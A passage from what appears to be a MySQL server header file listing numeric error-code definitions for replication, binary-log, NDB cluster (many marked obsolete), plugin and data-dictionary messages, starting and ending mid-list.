OBSOLETE_ER_NDB_SLAVE_CONFLICT_FUNCTION_REQUIRES_ROLE 10484 //#define OBSOLETE_ER_NDB_SLAVE_CONFLICT_TRANSACTION_IDS 10485 //#define OBSOLETE_ER_NDB_SLAVE_BINLOG_MISSING_INFO_FOR_CONFLICT_DETECTION 10486 //#define OBSOLETE_ER_NDB_ERROR_IN_READAUTOINCREMENTVALUE 10487 //#define OBSOLETE_ER_NDB_FOUND_UNCOMMITTED_AUTOCOMMIT 10488 //#define OBSOLETE_ER_NDB_SLAVE_TOO_MANY_RETRIES 10489 //#define OBSOLETE_ER_NDB_SLAVE_ERROR_IN_UPDATE_CREATE_INFO 10490 //#define OBSOLETE_ER_NDB_SLAVE_CANT_ALLOCATE_TABLE_SHARE 10491 //#define OBSOLETE_ER_NDB_BINLOG_ERROR_INFO_FROM_DA 10492 //#define OBSOLETE_ER_NDB_BINLOG_CREATE_TABLE_EVENT 10493 //#define OBSOLETE_ER_NDB_BINLOG_FAILED_CREATE_TABLE_EVENT_OPERATIONS 10494 //#define OBSOLETE_ER_NDB_BINLOG_RENAME_EVENT 10495 //#define OBSOLETE_ER_NDB_BINLOG_FAILED_CREATE_DURING_RENAME 10496 //#define OBSOLETE_ER_NDB_UNEXPECTED_RENAME_TYPE 10497 //#define OBSOLETE_ER_NDB_ERROR_IN_GET_AUTO_INCREMENT 10498 //#define OBSOLETE_ER_NDB_CREATING_SHARE_IN_OPEN 10499 //#define OBSOLETE_ER_NDB_TABLE_OPENED_READ_ONLY 10500 //#define OBSOLETE_ER_NDB_INITIALIZE_GIVEN_CLUSTER_PLUGIN_DISABLED 10501 //#define OBSOLETE_ER_NDB_BINLOG_FORMAT_CHANGED_FROM_STMT_TO_MIXED 10502 //#define OBSOLETE_ER_NDB_TRAILING_SHARE_RELEASED_BY_CLOSE_CACHED_TABLES 10503 //#define OBSOLETE_ER_NDB_SHARE_ALREADY_EXISTS 10504 //#define OBSOLETE_ER_NDB_HANDLE_TRAILING_SHARE_INFO 10505 //#define OBSOLETE_ER_NDB_CLUSTER_GET_SHARE_INFO 10506 //#define OBSOLETE_ER_NDB_CLUSTER_REAL_FREE_SHARE_INFO 10507 //#define OBSOLETE_ER_NDB_CLUSTER_REAL_FREE_SHARE_DROP_FAILED 10508 //#define OBSOLETE_ER_NDB_CLUSTER_FREE_SHARE_INFO 10509 //#define OBSOLETE_ER_NDB_CLUSTER_MARK_SHARE_DROPPED_INFO 10510 //#define OBSOLETE_ER_NDB_CLUSTER_MARK_SHARE_DROPPED_DESTROYING_SHARE 10511 //#define OBSOLETE_ER_NDB_CLUSTER_OOM_THD_NDB 10512 //#define OBSOLETE_ER_NDB_BINLOG_NDB_TABLES_INITIALLY_READ_ONLY 10513 //#define OBSOLETE_ER_NDB_UTIL_THREAD_OOM 10514 //#define OBSOLETE_ER_NDB_ILLEGAL_VALUE_FOR_NDB_RECV_THREAD_CPU_MASK 10515 //#define OBSOLETE_ER_NDB_TOO_MANY_CPUS_IN_NDB_RECV_THREAD_CPU_MASK 10516 #define ER_DBUG_CHECK_SHARES_OPEN 10517 #define ER_DBUG_CHECK_SHARES_INFO 10518 #define ER_DBUG_CHECK_SHARES_DROPPED 10519 #define ER_INVALID_OR_OLD_TABLE_OR_DB_NAME 10520 #define ER_TC_RECOVERING_AFTER_CRASH_USING 10521 #define ER_TC_CANT_AUTO_RECOVER_WITH_TC_HEURISTIC_RECOVER 10522 #define ER_TC_BAD_MAGIC_IN_TC_LOG 10523 #define ER_TC_NEED_N_SE_SUPPORTING_2PC_FOR_RECOVERY 10524 #define ER_TC_RECOVERY_FAILED_THESE_ARE_YOUR_OPTIONS 10525 #define ER_TC_HEURISTIC_RECOVERY_MODE 10526 #define ER_TC_HEURISTIC_RECOVERY_FAILED 10527 #define ER_TC_RESTART_WITHOUT_TC_HEURISTIC_RECOVER 10528 #define ER_RPL_REPLICA_FAILED_TO_CREATE_OR_RECOVER_INFO_REPOSITORIES 10529 #define ER_RPL_REPLICA_AUTO_POSITION_IS_1_AND_GTID_MODE_IS_OFF 10530 #define ER_RPL_REPLICA_CANT_START_REPLICA_FOR_CHANNEL 10531 #define ER_RPL_REPLICA_CANT_STOP_REPLICA_FOR_CHANNEL 10532 #define ER_RPL_RECOVERY_NO_ROTATE_EVENT_FROM_SOURCE 10533 #define ER_RPL_RECOVERY_ERROR_READ_RELAY_LOG 10534 //#define OBSOLETE_ER_RPL_RECOVERY_ERROR_FREEING_IO_CACHE 10535 #define ER_RPL_RECOVERY_SKIPPED_GROUP_REPLICATION_CHANNEL 10536 #define ER_RPL_RECOVERY_ERROR 10537 #define ER_RPL_RECOVERY_IO_ERROR_READING_RELAY_LOG_INDEX 10538 #define ER_RPL_RECOVERY_FILE_SOURCE_POS_INFO 10539 #define ER_RPL_RECOVERY_REPLICATE_SAME_SERVER_ID_REQUIRES_POSITION 10540 #define ER_RPL_MTA_RECOVERY_STARTING_COORDINATOR 10541 #define ER_RPL_MTA_RECOVERY_FAILED_TO_START_COORDINATOR 10542 #define ER_RPL_MTA_AUTOMATIC_RECOVERY_FAILED 10543 #define ER_RPL_MTA_RECOVERY_CANT_OPEN_RELAY_LOG 10544 #define ER_RPL_MTA_RECOVERY_SUCCESSFUL 10545 #define ER_RPL_SERVER_ID_MISSING 10546 #define ER_RPL_CANT_CREATE_REPLICA_THREAD 10547 #define ER_RPL_REPLICA_IO_THREAD_WAS_KILLED 10548 //#define OBSOLETE_ER_RPL_REPLICA_SOURCE_UUID_HAS_CHANGED 10549 #define ER_RPL_REPLICA_USES_CHECKSUM_AND_SOURCE_PRE_50 10550 #define ER_RPL_REPLICA_SECONDS_BEHIND_SOURCE_DUBIOUS 10551 #define ER_RPL_REPLICA_CANT_FLUSH_CONNECTION_METADATA_REPOS 10552 #define ER_RPL_REPLICA_REPORT_HOST_TOO_LONG 10553 #define ER_RPL_REPLICA_REPORT_USER_TOO_LONG 10554 #define ER_RPL_REPLICA_REPORT_PASSWORD_TOO_LONG 10555 #define ER_RPL_REPLICA_ERROR_RETRYING 10556 #define ER_RPL_REPLICA_ERROR_READING_FROM_SERVER 10557 #define ER_RPL_REPLICA_DUMP_THREAD_KILLED_BY_SOURCE 10558 #define ER_RPL_MTA_STATISTICS 10559 #define ER_RPL_MTA_RECOVERY_COMPLETE 10560 #define ER_RPL_REPLICA_CANT_INIT_RELAY_LOG_POSITION 10561 //#define OBSOLETE_ER_RPL_REPLICA_CONNECTED_TO_SOURCE_REPLICATION_STARTED 10562 #define ER_RPL_REPLICA_IO_THREAD_KILLED 10563 #define ER_RPL_REPLICA_IO_THREAD_CANT_REGISTER_ON_SOURCE 10564 #define ER_RPL_REPLICA_FORCING_TO_RECONNECT_IO_THREAD 10565 #define ER_RPL_REPLICA_ERROR_REQUESTING_BINLOG_DUMP 10566 #define ER_RPL_LOG_ENTRY_EXCEEDS_REPLICA_MAX_ALLOWED_PACKET 10567 #define ER_RPL_REPLICA_STOPPING_AS_SOURCE_OOM 10568 #define ER_RPL_REPLICA_IO_THREAD_ABORTED_WAITING_FOR_RELAY_LOG_SPACE 10569 #define ER_RPL_REPLICA_IO_THREAD_EXITING 10570 #define ER_RPL_REPLICA_CANT_INITIALIZE_REPLICA_WORKER 10571 #define ER_RPL_MTA_GROUP_RECOVERY_APPLIER_METADATA_FOR_WORKER 10572 #define ER_RPL_ERROR_LOOKING_FOR_LOG 10573 #define ER_RPL_MTA_GROUP_RECOVERY_APPLIER_METADATA 10574 #define ER_RPL_CANT_FIND_FOLLOWUP_FILE 10575 #define ER_RPL_MTA_CHECKPOINT_PERIOD_DIFFERS_FROM_CNT 10576 #define ER_RPL_REPLICA_WORKER_THREAD_CREATION_FAILED 10577 #define ER_RPL_REPLICA_WORKER_THREAD_CREATION_FAILED_WITH_ERRNO 10578 #define ER_RPL_REPLICA_FAILED_TO_INIT_PARTITIONS_HASH 10579 //#define OBSOLETE_ER_RPL_SLAVE_NDB_TABLES_NOT_AVAILABLE 10580 #define ER_RPL_REPLICA_SQL_THREAD_STARTING 10581 #define ER_RPL_REPLICA_SKIP_COUNTER_EXECUTED 10582 #define ER_RPL_REPLICA_ADDITIONAL_ERROR_INFO_FROM_DA 10583 #define ER_RPL_REPLICA_ERROR_INFO_FROM_DA 10584 #define ER_RPL_REPLICA_ERROR_LOADING_USER_DEFINED_LIBRARY 10585 #define ER_RPL_REPLICA_ERROR_RUNNING_QUERY 10586 #define ER_RPL_REPLICA_SQL_THREAD_EXITING 10587 #define ER_RPL_REPLICA_READ_INVALID_EVENT_FROM_SOURCE 10588 #define ER_RPL_REPLICA_QUEUE_EVENT_FAILED_INVALID_CONFIGURATION 10589 #define ER_RPL_REPLICA_IO_THREAD_DETECTED_UNEXPECTED_EVENT_SEQUENCE 10590 #define ER_RPL_REPLICA_CANT_USE_CHARSET 10591 #define ER_RPL_REPLICA_CONNECTED_TO_SOURCE_REPLICATION_RESUMED 10592 #define ER_RPL_REPLICA_NEXT_LOG_IS_ACTIVE 10593 #define ER_RPL_REPLICA_NEXT_LOG_IS_INACTIVE 10594 #define ER_RPL_REPLICA_SQL_THREAD_IO_ERROR_READING_EVENT 10595 #define ER_RPL_REPLICA_ERROR_READING_RELAY_LOG_EVENTS 10596 #define ER_REPLICA_CHANGE_SOURCE_TO_EXECUTED 10597 #define ER_RPL_REPLICA_NEW_C_M_NEEDS_REPOS_TYPE_OTHER_THAN_FILE 10598 #define ER_RPL_FAILED_TO_STAT_LOG_IN_INDEX 10599 #define ER_RPL_LOG_NOT_FOUND_WHILE_COUNTING_RELAY_LOG_SPACE 10600 #define ER_REPLICA_CANT_USE_TEMPDIR 10601 #define ER_RPL_RELAY_LOG_NEEDS_FILE_NOT_DIRECTORY 10602 #define ER_RPL_RELAY_LOG_INDEX_NEEDS_FILE_NOT_DIRECTORY 10603 #define ER_RPL_PLEASE_USE_OPTION_RELAY_LOG 10604 #define ER_RPL_OPEN_INDEX_FILE_FAILED 10605 #define ER_RPL_CANT_INITIALIZE_GTID_SETS_IN_AM_INIT_INFO 10606 #define ER_RPL_CANT_OPEN_LOG_IN_AM_INIT_INFO 10607 #define ER_RPL_ERROR_WRITING_RELAY_LOG_CONFIGURATION 10608 //#define OBSOLETE_ER_NDB_OOM_GET_NDB_BLOBS_VALUE 10609 //#define OBSOLETE_ER_NDB_THREAD_TIMED_OUT 10610 //#define OBSOLETE_ER_NDB_TABLE_IS_NOT_DISTRIBUTED 10611 //#define OBSOLETE_ER_NDB_CREATING_TABLE 10612 //#define OBSOLETE_ER_NDB_FLUSHING_TABLE_INFO 10613 //#define OBSOLETE_ER_NDB_CLEANING_STRAY_TABLES 10614 //#define OBSOLETE_ER_NDB_DISCOVERED_MISSING_DB 10615 //#define OBSOLETE_ER_NDB_DISCOVERED_REMAINING_DB 10616 //#define OBSOLETE_ER_NDB_CLUSTER_FIND_ALL_DBS_RETRY 10617 //#define OBSOLETE_ER_NDB_CLUSTER_FIND_ALL_DBS_FAIL 10618 //#define OBSOLETE_ER_NDB_SKIPPING_SETUP_TABLE 10619 //#define OBSOLETE_ER_NDB_FAILED_TO_SET_UP_TABLE 10620 //#define OBSOLETE_ER_NDB_MISSING_FRM_DISCOVERING 10621 //#define OBSOLETE_ER_NDB_MISMATCH_IN_FRM_DISCOVERING 10622 //#define OBSOLETE_ER_NDB_BINLOG_CLEANING_UP_SETUP_LEFTOVERS 10623 //#define OBSOLETE_ER_NDB_WAITING_INFO 10624 //#define OBSOLETE_ER_NDB_WAITING_INFO_WITH_MAP 10625 //#define OBSOLETE_ER_NDB_TIMEOUT_WHILE_DISTRIBUTING 10626 //#define OBSOLETE_ER_NDB_NOT_WAITING_FOR_DISTRIBUTING 10627 //#define OBSOLETE_ER_NDB_DISTRIBUTED_INFO 10628 //#define OBSOLETE_ER_NDB_DISTRIBUTION_COMPLETE 10629 //#define OBSOLETE_ER_NDB_SCHEMA_DISTRIBUTION_FAILED 10630 //#define OBSOLETE_ER_NDB_SCHEMA_DISTRIBUTION_REPORTS_SUBSCRIBE 10631 //#define OBSOLETE_ER_NDB_SCHEMA_DISTRIBUTION_REPORTS_UNSUBSCRIBE 10632 //#define OBSOLETE_ER_NDB_BINLOG_CANT_DISCOVER_TABLE_FROM_SCHEMA_EVENT 10633 //#define OBSOLETE_ER_NDB_BINLOG_SIGNALLING_UNKNOWN_VALUE 10634 //#define OBSOLETE_ER_NDB_BINLOG_REPLY_TO 10635 //#define OBSOLETE_ER_NDB_BINLOG_CANT_RELEASE_SLOCK 10636 //#define OBSOLETE_ER_NDB_CANT_FIND_TABLE 10637 //#define OBSOLETE_ER_NDB_DISCARDING_EVENT_NO_OBJ 10638 //#define OBSOLETE_ER_NDB_DISCARDING_EVENT_ID_VERSION_MISMATCH 10639 //#define OBSOLETE_ER_NDB_CLEAR_SLOCK_INFO 10640 //#define OBSOLETE_ER_NDB_BINLOG_SKIPPING_LOCAL_TABLE 10641 //#define OBSOLETE_ER_NDB_BINLOG_ONLINE_ALTER_RENAME 10642 //#define OBSOLETE_ER_NDB_BINLOG_CANT_REOPEN_SHADOW_TABLE 10643 //#define OBSOLETE_ER_NDB_BINLOG_ONLINE_ALTER_RENAME_COMPLETE 10644 //#define OBSOLETE_ER_NDB_BINLOG_SKIPPING_DROP_OF_LOCAL_TABLE 10645 //#define OBSOLETE_ER_NDB_BINLOG_SKIPPING_RENAME_OF_LOCAL_TABLE 10646 //#define OBSOLETE_ER_NDB_BINLOG_SKIPPING_DROP_OF_TABLES 10647 //#define OBSOLETE_ER_NDB_BINLOG_GOT_DIST_PRIV_EVENT_FLUSHING_PRIVILEGES 10648 //#define OBSOLETE_ER_NDB_BINLOG_GOT_SCHEMA_EVENT 10649 //#define OBSOLETE_ER_NDB_BINLOG_SKIPPING_OLD_SCHEMA_OPERATION 10650 //#define OBSOLETE_ER_NDB_CLUSTER_FAILURE 10651 //#define OBSOLETE_ER_NDB_TABLES_INITIALLY_READ_ONLY_ON_RECONNECT 10652 //#define OBSOLETE_ER_NDB_IGNORING_UNKNOWN_EVENT 10653 //#define OBSOLETE_ER_NDB_BINLOG_OPENING_INDEX 10654 //#define OBSOLETE_ER_NDB_BINLOG_CANT_LOCK_NDB_BINLOG_INDEX 10655 //#define OBSOLETE_ER_NDB_BINLOG_INJECTING_RANDOM_WRITE_FAILURE 10656 //#define OBSOLETE_ER_NDB_BINLOG_CANT_WRITE_TO_NDB_BINLOG_INDEX 10657 //#define OBSOLETE_ER_NDB_BINLOG_WRITING_TO_NDB_BINLOG_INDEX 10658 //#define OBSOLETE_ER_NDB_BINLOG_CANT_COMMIT_TO_NDB_BINLOG_INDEX 10659 //#define OBSOLETE_ER_NDB_BINLOG_WRITE_INDEX_FAILED_AFTER_KILL 10660 //#define OBSOLETE_ER_NDB_BINLOG_USING_SERVER_ID_0_SLAVES_WILL_NOT 10661 //#define OBSOLETE_ER_NDB_SERVER_ID_RESERVED_OR_TOO_LARGE 10662 //#define OBSOLETE_ER_NDB_BINLOG_REQUIRES_V2_ROW_EVENTS 10663 //#define OBSOLETE_ER_NDB_BINLOG_STATUS_FORCING_FULL_USE_WRITE 10664 //#define OBSOLETE_ER_NDB_BINLOG_GENERIC_MESSAGE 10665 //#define OBSOLETE_ER_NDB_CONFLICT_GENERIC_MESSAGE 10666 //#define OBSOLETE_ER_NDB_TRANS_DEPENDENCY_TRACKER_ERROR 10667 //#define OBSOLETE_ER_NDB_CONFLICT_FN_PARSE_ERROR 10668 //#define OBSOLETE_ER_NDB_CONFLICT_FN_SETUP_ERROR 10669 //#define OBSOLETE_ER_NDB_BINLOG_FAILED_TO_GET_TABLE 10670 //#define OBSOLETE_ER_NDB_BINLOG_NOT_LOGGING 10671 //#define OBSOLETE_ER_NDB_BINLOG_CREATE_TABLE_EVENT_FAILED 10672 //#define OBSOLETE_ER_NDB_BINLOG_CREATE_TABLE_EVENT_INFO 10673 //#define OBSOLETE_ER_NDB_BINLOG_DISCOVER_TABLE_EVENT_INFO 10674 //#define OBSOLETE_ER_NDB_BINLOG_BLOB_REQUIRES_PK 10675 //#define OBSOLETE_ER_NDB_BINLOG_CANT_CREATE_EVENT_IN_DB 10676 //#define OBSOLETE_ER_NDB_BINLOG_CANT_CREATE_EVENT_IN_DB_AND_CANT_DROP 10677 //#define OBSOLETE_ER_NDB_BINLOG_CANT_CREATE_EVENT_IN_DB_DROPPED 10678 //#define OBSOLETE_ER_NDB_BINLOG_DISCOVER_REUSING_OLD_EVENT_OPS 10679 //#define OBSOLETE_ER_NDB_BINLOG_CREATING_NDBEVENTOPERATION_FAILED 10680 //#define OBSOLETE_ER_NDB_BINLOG_CANT_CREATE_BLOB 10681 //#define OBSOLETE_ER_NDB_BINLOG_NDBEVENT_EXECUTE_FAILED 10682 //#define OBSOLETE_ER_NDB_CREATE_EVENT_OPS_LOGGING_INFO 10683 //#define OBSOLETE_ER_NDB_BINLOG_CANT_DROP_EVENT_FROM_DB 10684 //#define OBSOLETE_ER_NDB_TIMED_OUT_IN_DROP_TABLE 10685 //#define OBSOLETE_ER_NDB_BINLOG_UNHANDLED_ERROR_FOR_TABLE 10686 //#define OBSOLETE_ER_NDB_BINLOG_CLUSTER_FAILURE 10687 //#define OBSOLETE_ER_NDB_BINLOG_UNKNOWN_NON_DATA_EVENT 10688 //#define OBSOLETE_ER_NDB_BINLOG_INJECTOR_DISCARDING_ROW_EVENT_METADATA 10689 //#define OBSOLETE_ER_NDB_REMAINING_OPEN_TABLES 10690 //#define OBSOLETE_ER_NDB_REMAINING_OPEN_TABLE_INFO 10691 //#define OBSOLETE_ER_NDB_COULD_NOT_GET_APPLY_STATUS_SHARE 10692 //#define OBSOLETE_ER_NDB_BINLOG_SERVER_SHUTDOWN_DURING_NDB_CLUSTER_START 10693 //#define OBSOLETE_ER_NDB_BINLOG_CLUSTER_RESTARTED_RESET_MASTER_SUGGESTED 10694 //#define OBSOLETE_ER_NDB_BINLOG_CLUSTER_HAS_RECONNECTED 10695 //#define OBSOLETE_ER_NDB_BINLOG_STARTING_LOG_AT_EPOCH 10696 //#define OBSOLETE_ER_NDB_BINLOG_NDB_TABLES_WRITABLE 10697 //#define OBSOLETE_ER_NDB_BINLOG_SHUTDOWN_DETECTED 10698 //#define OBSOLETE_ER_NDB_BINLOG_LOST_SCHEMA_CONNECTION_WAITING 10699 //#define OBSOLETE_ER_NDB_BINLOG_LOST_SCHEMA_CONNECTION_CONTINUING 10700 //#define OBSOLETE_ER_NDB_BINLOG_ERROR_HANDLING_SCHEMA_EVENT 10701 //#define OBSOLETE_ER_NDB_BINLOG_CANT_INJECT_APPLY_STATUS_WRITE_ROW 10702 //#define OBSOLETE_ER_NDB_BINLOG_ERROR_DURING_GCI_ROLLBACK 10703 //#define OBSOLETE_ER_NDB_BINLOG_ERROR_DURING_GCI_COMMIT 10704 //#define OBSOLETE_ER_NDB_BINLOG_LATEST_TRX_IN_EPOCH_NOT_IN_BINLOG 10705 //#define OBSOLETE_ER_NDB_BINLOG_RELEASING_EXTRA_SHARE_REFERENCES 10706 //#define OBSOLETE_ER_NDB_BINLOG_REMAINING_OPEN_TABLES 10707 //#define OBSOLETE_ER_NDB_BINLOG_REMAINING_OPEN_TABLE_INFO 10708 #define ER_TREE_CORRUPT_PARENT_SHOULD_POINT_AT_PARENT 10709 #define ER_TREE_CORRUPT_ROOT_SHOULD_BE_BLACK 10710 #define ER_TREE_CORRUPT_2_CONSECUTIVE_REDS 10711 #define ER_TREE_CORRUPT_RIGHT_IS_LEFT 10712 #define ER_TREE_CORRUPT_INCORRECT_BLACK_COUNT 10713 #define ER_WRONG_COUNT_FOR_ORIGIN 10714 #define ER_WRONG_COUNT_FOR_KEY 10715 #define ER_WRONG_COUNT_OF_ELEMENTS 10716 #define ER_RPL_ERROR_READING_REPLICA_WORKER_CONFIGURATION 10717 //#define OBSOLETE_ER_RPL_ERROR_WRITING_SLAVE_WORKER_CONFIGURATION 10718 #define ER_RPL_FAILED_TO_OPEN_RELAY_LOG 10719 #define ER_RPL_WORKER_CANT_READ_RELAY_LOG 10720 #define ER_RPL_WORKER_CANT_FIND_NEXT_RELAY_LOG 10721 #define ER_RPL_MTA_REPLICA_COORDINATOR_HAS_WAITED 10722 #define ER_BINLOG_FAILED_TO_WRITE_DROP_FOR_TEMP_TABLES 10723 #define ER_BINLOG_OOM_WRITING_DELETE_WHILE_OPENING_HEAP_TABLE 10724 #define ER_FAILED_TO_REPAIR_TABLE 10725 #define ER_FAILED_TO_REMOVE_TEMP_TABLE 10726 #define ER_SYSTEM_TABLE_NOT_TRANSACTIONAL 10727 #define ER_RPL_ERROR_WRITING_SOURCE_CONFIGURATION 10728 #define ER_RPL_ERROR_READING_SOURCE_CONFIGURATION 10729 #define ER_RPL_SSL_INFO_IN_CONNECTION_METADATA_IGNORED 10730 #define ER_PLUGIN_FAILED_DEINITIALIZATION 10731 #define ER_PLUGIN_HAS_NONZERO_REFCOUNT_AFTER_DEINITIALIZATION 10732 #define ER_PLUGIN_SHUTTING_DOWN_PLUGIN 10733 #define ER_PLUGIN_REGISTRATION_FAILED 10734 #define ER_PLUGIN_CANT_OPEN_PLUGIN_TABLE 10735 #define ER_PLUGIN_CANT_LOAD 10736 #define ER_PLUGIN_LOAD_PARAMETER_TOO_LONG 10737 #define ER_PLUGIN_FORCING_SHUTDOWN 10738 #define ER_PLUGIN_HAS_NONZERO_REFCOUNT_AFTER_SHUTDOWN 10739 #define ER_PLUGIN_UNKNOWN_VARIABLE_TYPE 10740 #define ER_PLUGIN_VARIABLE_SET_READ_ONLY 10741 #define ER_PLUGIN_VARIABLE_MISSING_NAME 10742 #define ER_PLUGIN_VARIABLE_NOT_ALLOCATED_THREAD_LOCAL 10743 #define ER_PLUGIN_OOM 10744 #define ER_PLUGIN_BAD_OPTIONS 10745 #define ER_PLUGIN_PARSING_OPTIONS_FAILED 10746 #define ER_PLUGIN_DISABLED 10747 #define ER_PLUGIN_HAS_CONFLICTING_SYSTEM_VARIABLES 10748 #define ER_PLUGIN_CANT_SET_PERSISTENT_OPTIONS 10749 #define ER_MY_NET_WRITE_FAILED_FALLING_BACK_ON_STDERR 10750 #define ER_RETRYING_REPAIR_WITHOUT_QUICK 10751 #define ER_RETRYING_REPAIR_WITH_KEYCACHE 10752 #define ER_FOUND_ROWS_WHILE_REPAIRING 10753 #define ER_ERROR_DURING_OPTIMIZE_TABLE 10754 #define ER_ERROR_ENABLING_KEYS 10755 #define ER_CHECKING_TABLE 10756 #define ER_RECOVERING_TABLE 10757 #define ER_CANT_CREATE_TABLE_SHARE_FROM_FRM 10758 #define ER_CANT_LOCK_TABLE 10759 #define ER_CANT_ALLOC_TABLE_OBJECT 10760 #define ER_CANT_CREATE_HANDLER_OBJECT_FOR_TABLE 10761 #define ER_CANT_SET_HANDLER_REFERENCE_FOR_TABLE 10762 #define ER_CANT_LOCK_TABLESPACE 10763 #define ER_CANT_UPGRADE_GENERATED_COLUMNS_TO_DD 10764 #define ER_DD_ERROR_CREATING_ENTRY 10765 #define ER_DD_CANT_FETCH_TABLE_DATA 10766 #define ER_DD_CANT_FIX_SE_DATA 10767 #define ER_DD_CANT_CREATE_SP 10768 #define ER_CANT_OPEN_DB_OPT_USING_DEFAULT_CHARSET 10769 #define ER_CANT_CREATE_CACHE_FOR_DB_OPT 10770 #define ER_CANT_IDENTIFY_CHARSET_USING_DEFAULT 10771 #define ER_DB_OPT_NOT_FOUND_USING_DEFAULT_CHARSET 10772 #define ER_EVENT_CANT_GET_TIMEZONE_FROM_FIELD 10773 #define ER_EVENT_CANT_FIND_TIMEZONE 10774 #define ER_EVENT_CANT_GET_CHARSET 10775 #define ER_EVENT_CANT_GET_COLLATION 10776 #define ER_EVENT_CANT_OPEN_TABLE_MYSQL_EVENT 10777 #define ER_CANT_PARSE_STORED_ROUTINE_BODY 10778 #define ER_CANT_OPEN_TABLE_MYSQL_PROC 10779 #define ER_CANT_READ_TABLE_MYSQL_PROC 10780 #define ER_FILE_EXISTS_DURING_UPGRADE 10781 #define ER_CANT_OPEN_DATADIR_AFTER_UPGRADE_FAILURE 10782 #define ER_CANT_SET_PATH_FOR 10783 #define ER_CANT_OPEN_DIR 10784 //#define OBSOLETE_ER_NDB_CLUSTER_CONNECTION_POOL_NODEIDS 10785 //#define OBSOLETE_ER_NDB_CANT_PARSE_NDB_CLUSTER_CONNECTION_POOL_NODEIDS 10786 //#define OBSOLETE_ER_NDB_INVALID_CLUSTER_CONNECTION_POOL_NODEIDS 10787 //#define OBSOLETE_ER_NDB_DUPLICATE_CLUSTER_CONNECTION_POOL_NODEIDS 10788 //#define OBSOLETE_ER_NDB_POOL_SIZE_CLUSTER_CONNECTION_POOL_NODEIDS 10789 //#define OBSOLETE_ER_NDB_NODEID_NOT_FIRST_CONNECTION_POOL_NODEIDS 10790 //#define OBSOLETE_ER_NDB_USING_NODEID 10791 //#define OBSOLETE_ER_NDB_CANT_ALLOC_GLOBAL_NDB_CLUSTER_CONNECTION 10792 //#define OBSOLETE_ER_NDB_CANT_ALLOC_GLOBAL_NDB_OBJECT 10793 //#define OBSOLETE_ER_NDB_USING_NODEID_LIST 10794 //#define OBSOLETE_ER_NDB_CANT_ALLOC_NDB_CLUSTER_CONNECTION 10795 //#define OBSOLETE_ER_NDB_STARTING_CONNECT_THREAD 10796 //#define OBSOLETE_ER_NDB_NODE_INFO 10797 //#define OBSOLETE_ER_NDB_CANT_START_CONNECT_THREAD 10798 //#define OBSOLETE_ER_NDB_GENERIC_ERROR 10799 //#define OBSOLETE_ER_NDB_CPU_MASK_TOO_SHORT 10800 #define ER_EVENT_ERROR_CREATING_QUERY_TO_WRITE_TO_BINLOG 10801 #define ER_EVENT_SCHEDULER_ERROR_LOADING_FROM_DB 10802 #define ER_EVENT_SCHEDULER_ERROR_GETTING_EVENT_OBJECT 10803 #define ER_EVENT_SCHEDULER_GOT_BAD_DATA_FROM_TABLE 10804 #define ER_EVENT_CANT_GET_LOCK_FOR_DROPPING_EVENT 10805 #define ER_EVENT_UNABLE_TO_DROP_EVENT 10806 //#define OBSOLETE_ER_BINLOG_ATTACHING_THREAD_MEMORY_FINALLY_AVAILABLE 10807 #define ER_BINLOG_CANT_RESIZE_CACHE 10808 #define ER_BINLOG_FILE_BEING_READ_NOT_PURGED 10809 #define ER_BINLOG_IO_ERROR_READING_HEADER 10810 //#define OBSOLETE_ER_BINLOG_CANT_OPEN_LOG 10811 //#define OBSOLETE_ER_BINLOG_CANT_CREATE_CACHE_FOR_LOG 10812 #define ER_BINLOG_FILE_EXTENSION_NUMBER_EXHAUSTED 10813 #define ER_BINLOG_FILE_NAME_TOO_LONG 10814 #define ER_BINLOG_FILE_EXTENSION_NUMBER_RUNNING_LOW 10815 #define ER_BINLOG_CANT_OPEN_FOR_LOGGING 10816 #define ER_BINLOG_FAILED_TO_SYNC_INDEX_FILE 10817 #define ER_BINLOG_ERROR_READING_GTIDS_FROM_RELAY_LOG 10818 #define ER_BINLOG_EVENTS_READ_FROM_APPLIER_METADATA 10819 #define ER_BINLOG_ERROR_READING_GTIDS_FROM_BINARY_LOG 10820 #define ER_BINLOG_EVENTS_READ_FROM_BINLOG_INFO 10821 #define ER_BINLOG_CANT_GENERATE_NEW_FILE_NAME 10822 #define ER_BINLOG_FAILED_TO_SYNC_INDEX_FILE_IN_OPEN 10823 #define ER_BINLOG_CANT_USE_FOR_LOGGING 10824 #define ER_BINLOG_FAILED_TO_CLOSE_INDEX_FILE_WHILE_REBUILDING 10825 #define ER_BINLOG_FAILED_TO_DELETE_INDEX_FILE_WHILE_REBUILDING 10826 #define ER_BINLOG_FAILED_TO_RENAME_INDEX_FILE_WHILE_REBUILDING 10827 #define ER_BINLOG_FAILED_TO_OPEN_INDEX_FILE_AFTER_REBUILDING 10828 #define ER_BINLOG_CANT_APPEND_LOG_TO_TMP_INDEX 10829 #define ER_BINLOG_CANT_LOCATE_OLD_BINLOG_OR_RELAY_LOG_FILES 10830 #define ER_BINLOG_CANT_DELETE_FILE 10831 #define ER_BINLOG_CANT_SET_TMP_INDEX_NAME 10832 #define ER_BINLOG_FAILED_TO_OPEN_TEMPORARY_INDEX_FILE 10833 //#define OBSOLETE_ER_BINLOG_ERROR_GETTING_NEXT_LOG_FROM_INDEX 10834 #define ER_BINLOG_CANT_OPEN_TMP_INDEX 10835 #define ER_BINLOG_CANT_COPY_INDEX_TO_TMP 10836 #define ER_BINLOG_CANT_CLOSE_TMP_INDEX 10837 #define ER_BINLOG_CANT_MOVE_TMP_TO_INDEX 10838 #define ER_BINLOG_PURGE_LOGS_CALLED_WITH_FILE_NOT_IN_INDEX 10839 #define ER_BINLOG_PURGE_LOGS_CANT_SYNC_INDEX_FILE 10840 #define ER_BINLOG_PURGE_LOGS_CANT_COPY_TO_REGISTER_FILE 10841 #define ER_BINLOG_PURGE_LOGS_CANT_FLUSH_REGISTER_FILE 10842 #define ER_BINLOG_PURGE_LOGS_CANT_UPDATE_INDEX_FILE 10843 #define ER_BINLOG_PURGE_LOGS_FAILED_TO_PURGE_LOG 10844 #define ER_BINLOG_FAILED_TO_SET_PURGE_INDEX_FILE_NAME 10845 #define ER_BINLOG_FAILED_TO_OPEN_REGISTER_FILE 10846 #define ER_BINLOG_FAILED_TO_REINIT_REGISTER_FILE 10847 #define ER_BINLOG_FAILED_TO_READ_REGISTER_FILE 10848 #define ER_CANT_STAT_FILE 10849 #define ER_BINLOG_CANT_DELETE_LOG_FILE_DOES_INDEX_MATCH_FILES 10850 #define ER_BINLOG_CANT_DELETE_FILE_AND_READ_BINLOG_INDEX 10851 #define ER_BINLOG_FAILED_TO_DELETE_LOG_FILE 10852 #define 